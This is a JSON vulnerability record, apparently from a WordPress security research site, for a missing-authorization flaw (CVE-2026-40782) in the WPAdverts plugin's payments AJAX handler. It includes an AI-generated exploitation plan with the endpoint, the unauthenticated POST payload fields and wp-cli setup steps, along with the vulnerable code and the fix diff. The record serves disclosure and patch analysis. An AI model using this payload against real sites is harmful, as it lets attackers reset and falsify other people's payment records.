[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fS4BZbnH58DZMB-_75bq4kC2j0RQYEseyfBBrMaqnMQg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-40782","wpadverts-classifieds-plugin-missing-authorization-2","WPAdverts – Classifieds Plugin \u003C= 2.3.0 - Missing Authorization","The WPAdverts – Classifieds Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.","wpadverts",null,"\u003C=2.3.0","2.3.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-22 00:00:00","2026-04-30 14:40:04",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8f82ad33-8c9b-47f8-b02b-013b4112c914?source=api-prod",9,[22,23,24,25,26,27,28,29],"addons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js","addons\u002Fpayments\u002Fincludes\u002Fajax.php","addons\u002Fpayments\u002Fpayments.php","addons\u002Fpayments\u002Ftemplates\u002Fadd-payment.php","addons\u002Fpayments\u002Ftemplates\u002Fpublish-payment.php","includes\u002Fshortcodes.php","languages\u002Fwpadverts-de_DE.po","languages\u002Fwpadverts-de_DE_formal.po","researched",false,3,"This research plan outlines the steps to exploit a Missing Authorization vulnerability in the WPAdverts plugin.\n\n### 1. Vulnerability Summary\nThe **WPAdverts – Classifieds Plugin** (versions \u003C= 2.3.0) contains a missing authorization check in the `adext_payments_ajax_render` function. This function is registered as an AJAX action for both authenticated and unauthenticated users via `wp_ajax_adext_payments_render` and `wp_ajax_nopriv_adext_payments_render`. \n\nBecause the function fails to verify if the requester has permission to modify the specified `payment_id` (Insecure Direct Object Reference - IDOR) and lacks capability checks, an unauthenticated attacker can update existing payment records. Specifically, an attacker can change the `post_status` of a payment to `pending`, update the `post_title`, and modify sensitive metadata including the payer's name (`adverts_person`) and email (`adverts_email`).\n\n### 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php`\n- **Action**: `adext_payments_render`\n- **Authentication**: None (unauthenticated)\n- **Vulnerable Parameter**: `payment_id`\n- **Payload Parameters**:\n    - `gateway`: The name of an active payment gateway (e.g., `bank`).\n    - `form`: An array of serialized form data containing `adverts_person` and `adverts_email`.\n- **Preconditions**:\n    - The \"Payments\" module must be enabled (default in many configurations).\n    - An existing `adverts-payment` post ID must be known or enumerated.\n\n### 3. Code Flow\n1. **Entry Point**: `addons\u002Fpayments\u002Fincludes\u002Fajax.php` registers the hooks:\n   ```php\n   add_action('wp_ajax_nopriv_adext_payments_render', 'adext_payments_ajax_render');\n   ```\n2. **Sink**: `adext_payments_ajax_render()` is called.\n3. **Input Handling**: The function retrieves `payment_id` and `gateway` from the request.\n   ```php\n   $gateway_name = adverts_request('gateway');\n   $payment_id = absint( adverts_request( \"payment_id\" ) );\n   ```\n4. **Processing**: It loads a form based on the gateway and binds the user-provided `form` data.\n5. **Vulnerable Sink**: If the form validates (usually requires just a name and email), it calls `wp_update_post` and `update_post_meta` on the provided `payment_id` without any ownership or capability checks:\n   ```php\n   wp_update_post( array(\n       'ID' => $payment_id,\n       'post_title' => $form->get_value( \"adverts_person\" ),\n       'post_status' => 'pending'\n   ) );\n   update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );\n   update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );\n   ```\n\n### 4. Nonce Acquisition Strategy\n**No nonce is required.**\nAnalysis of `addons\u002Fpayments\u002Fincludes\u002Fajax.php` confirms that neither `check_ajax_referer` nor `wp_verify_nonce` are used within the `adext_payments_ajax_render` function. Furthermore, the frontend JS (`addons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js`) does not include a nonce in the `data` object sent to the server.\n\n### 5. Exploitation Strategy\n1. **Target Identification**: Identify a valid `payment_id` of type `adverts-payment`. This can be done via enumeration or if the attacker previously initiated a legitimate payment.\n2. **Determine Gateway**: Use `bank` as the default gateway, as it is the most common built-in gateway for WPAdverts.\n3. **Craft Payload**:\n   - `action`: `adext_payments_render`\n   - `gateway`: `bank`\n   - `payment_id`: [TARGET_ID]\n   - `form[0][name]`: `adverts_person`\n   - `form[0][value]`: `Unauthorized Modifier`\n   - `form[1][name]`: `adverts_email`\n   - `form[1][value]`: `pwned@example.com`\n4. **Execution**: Send a POST request to `admin-ajax.php`.\n\n### 6. Test Data Setup\n1. **Activate WPAdverts**: Ensure the plugin and its Payments module are active.\n2. **Create Pricing**:\n   ```bash\n   wp post create --post_type=adverts-pricing --post_title=\"Premium\" --post_status=publish\n   ```\n3. **Create a \"Completed\" Payment**: Create a payment record that we will \"downgrade\" to pending and modify.\n   ```bash\n   PAYMENT_ID=$(wp post create --post_type=adverts-payment --post_title=\"Original Payer\" --post_status=completed --porcelain)\n   wp post meta add $PAYMENT_ID adverts_person \"Original Payer\"\n   wp post meta add $PAYMENT_ID adverts_email \"original@example.com\"\n   wp post meta add $PAYMENT_ID _adverts_payment_gateway \"bank\"\n   ```\n\n### 7. Expected Results\n- The AJAX response should return a JSON object. If successful, it might execute a \"success\" callback or render HTML depending on the gateway's response.\n- The `adverts-payment` post with `ID` = `PAYMENT_ID` will have its:\n    - `post_status` changed from `completed` to `pending`.\n    - `post_title` changed to `Unauthorized Modifier`.\n    - Meta `adverts_person` changed to `Unauthorized Modifier`.\n    - Meta `adverts_email` changed to `pwned@example.com`.\n\n### 8. Verification Steps\n1. **Check Post Status and Title**:\n   ```bash\n   wp post get [PAYMENT_ID] --fields=ID,post_title,post_status\n   ```\n2. **Check Metadata**:\n   ```bash\n   wp post meta get [PAYMENT_ID] adverts_person\n   wp post meta get [PAYMENT_ID] adverts_email\n   ```\n\n### 9. Alternative Approaches\n- **Status Reset**: If the gateway callback (`render`) behaves differently, the primary impact is the `wp_update_post` call which forces the status to `pending`. This can be used to disrupt business logic where \"completed\" payments are expected.\n- **Gateway Enumeration**: If the `bank` gateway is disabled, an attacker can guess other common gateways like `paypal` or `stripe` to satisfy the `$gateway` lookup.\n- **Information Leakage**: Note that if the form validation fails, the function returns `$html_form`, which might contain rendered form templates, potentially leaking configuration details or available fields.","The WPAdverts plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check and lack of ownership verification in the `adext_payments_ajax_render` AJAX function. An unauthenticated attacker can exploit this to reset the status of existing payment records to 'pending' and update sensitive metadata such as the payer's name and email address.","\u002F\u002F addons\u002Fpayments\u002Fincludes\u002Fajax.php lines 6-7\nadd_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render');\nadd_action('wp_ajax_nopriv_adext_payments_render', 'adext_payments_ajax_render');\n\n---\n\n\u002F\u002F addons\u002Fpayments\u002Fincludes\u002Fajax.php lines 19-70\nfunction adext_payments_ajax_render() {\n    \n    $is_block = absint( adverts_request( \"is_block\" ) );\n\n    $gateway_name = adverts_request('gateway');\n    $gateway = adext_payment_gateway_get( $gateway_name );\n    \n    $payment_id = absint( adverts_request( \"payment_id\" ) );\n    $listing_id = get_post_meta( $payment_id, \"_adverts_pricing_id\", true );\n    \n    $response = null;\n    \n    $data = array();\n    \u002F\u002F ... (truncated)\n    foreach(adverts_request( 'form', array() ) as $item) {\n        $data[\"bind\"][$item[\"name\"]] = $item[\"value\"];\n    }\n\n    $form = new Adverts_Form();\n    $form->load( $gateway[\"form\"][\"payment_form\"] );\n    $form->bind( $data[\"bind\"] );\n    \n    if( isset( $data[\"bind\"] ) && !empty( $data[\"bind\"] ) ) {\n        \n        $isValid = $form->validate();\n        \n        if($isValid) {\n            \n            $price = get_post_meta( $payment_id, \"_adverts_payment_total\", true );\n            \n            $data[\"price\"] = $price;\n            $data[\"form\"] = $form->get_values();\n            $data[\"payment_id\"] = $payment_id;\n            \n            wp_update_post( array(\n                'ID' => $payment_id,\n                'post_title' => $form->get_value( \"adverts_person\" ),\n                'post_status' => 'pending'\n            ) );\n            \n            update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );\n            update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );\n            update_post_meta( $payment_id, '_adverts_payment_gateway', $data[\"gateway_name\"] );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.0\u002Faddons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.1\u002Faddons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.0\u002Faddons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js\t2025-02-03 11:48:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.1\u002Faddons\u002Fpayments\u002Fassets\u002Fjs\u002Fpayments.js\t2026-04-13 09:42:46.000000000 +0000\n@@ -20,6 +20,7 @@\n         var $ = jQuery;\n         var data = {\n             action: \"adext_payments_render\",\n+            nonce: $(\".adverts-payment-data\").data(\"nonce\"),\n             gateway: $(WPADVERTS.Payments.Tab.Link + \".current\").data(\"tab\"),\n             page_id: $(\".adverts-payment-data\").data(\"page-id\"),\n             listing_id: $(\".adverts-payment-data\").data(\"listing-id\"),\n@@ -116,6 +117,7 @@\n \n         var data = {\n             action: \"adext_payments_render\",\n+            nonce: $(\".adverts-payment-data\").data(\"nonce\"),\n             gateway: $(this).data(\"tab\"),\n             page_id: $(\".adverts-payment-data\").data(\"page-id\"),\n             listing_id: $(\".adverts-payment-data\").data(\"listing-id\"),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.0\u002Faddons\u002Fpayments\u002Fincludes\u002Fajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.1\u002Faddons\u002Fpayments\u002Fincludes\u002Fajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.0\u002Faddons\u002Fpayments\u002Fincludes\u002Fajax.php\t2022-07-21 10:28:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpadverts\u002F2.3.1\u002Faddons\u002Fpayments\u002Fincludes\u002Fajax.php\t2026-04-13 09:42:46.000000000 +0000\n@@ -27,7 +27,37 @@\n     \n     $payment_id = absint( adverts_request( \"payment_id\" ) );\n     $listing_id = get_post_meta( $payment_id, \"_adverts_pricing_id\", true );\n+    $object_id = adverts_request( \"object_id\" );\n     \n+    $nonce = sprintf( \"adext-payment-%d-%d-%d\", $payment_id, $listing_id, $object_id );\n+\n+    if( ! wp_verify_nonce( adverts_request( \"nonce\" ), $nonce ) ) {\n+        echo json_encode([\n+            \"result\" => 0,\n+            \"html\" => sprintf('\u003Cdiv>%s\u003C\u002Fdiv>', __(\"Incorrect user nonce.\",\"wpadverts\")),\n+            \"execute\" => null\n+        ]);\n+        exit;\n+    }\n+\n+    if( get_post_type( $payment_id ) !== \"adverts-payment\" ) {\n+        echo json_encode([\n+            \"result\" => 0,\n+            \"html\" => sprintf('\u003Cdiv>%s\u003C\u002Fdiv>', __(\"Incorrect object type.\",\"wpadverts\")),\n+            \"execute\" => null\n+        ]);\n+        exit;\n+    }\n+\n+    if( absint( get_post( $payment_id )->post_author ) !== absint( get_current_user_id() ) ) {\n+        echo json_encode([\n+            \"result\" => 0,\n+            \"html\" => sprintf('\u003Cdiv>%s\u003C\u002Fdiv>', __(\"You do not own this payment.\",\"wpadverts\")),\n+            \"execute\" => null\n+        ]);\n+        exit;\n+    }\n+\n     $response = null;\n     \n     $data = array();","The vulnerability can be exploited by an unauthenticated attacker by sending a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the action 'adext_payments_render'. The attacker needs to identify or enumerate a valid 'adverts-payment' post ID. The payload must include the 'payment_id', a valid 'gateway' name (such as 'bank'), and a 'form' array containing 'adverts_person' and 'adverts_email' fields. Because there is no nonce or capability check, the plugin will validate the form and proceed to call wp_update_post and update_post_meta on the specified ID, resulting in an unauthorized status reset and metadata update.","gemini-3-flash-preview","2026-05-04 18:53:30","2026-05-04 18:54:03",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.3.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpadverts\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpadverts.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpadverts\u002Ftags\u002F2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpadverts.2.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpadverts\u002Ftags"]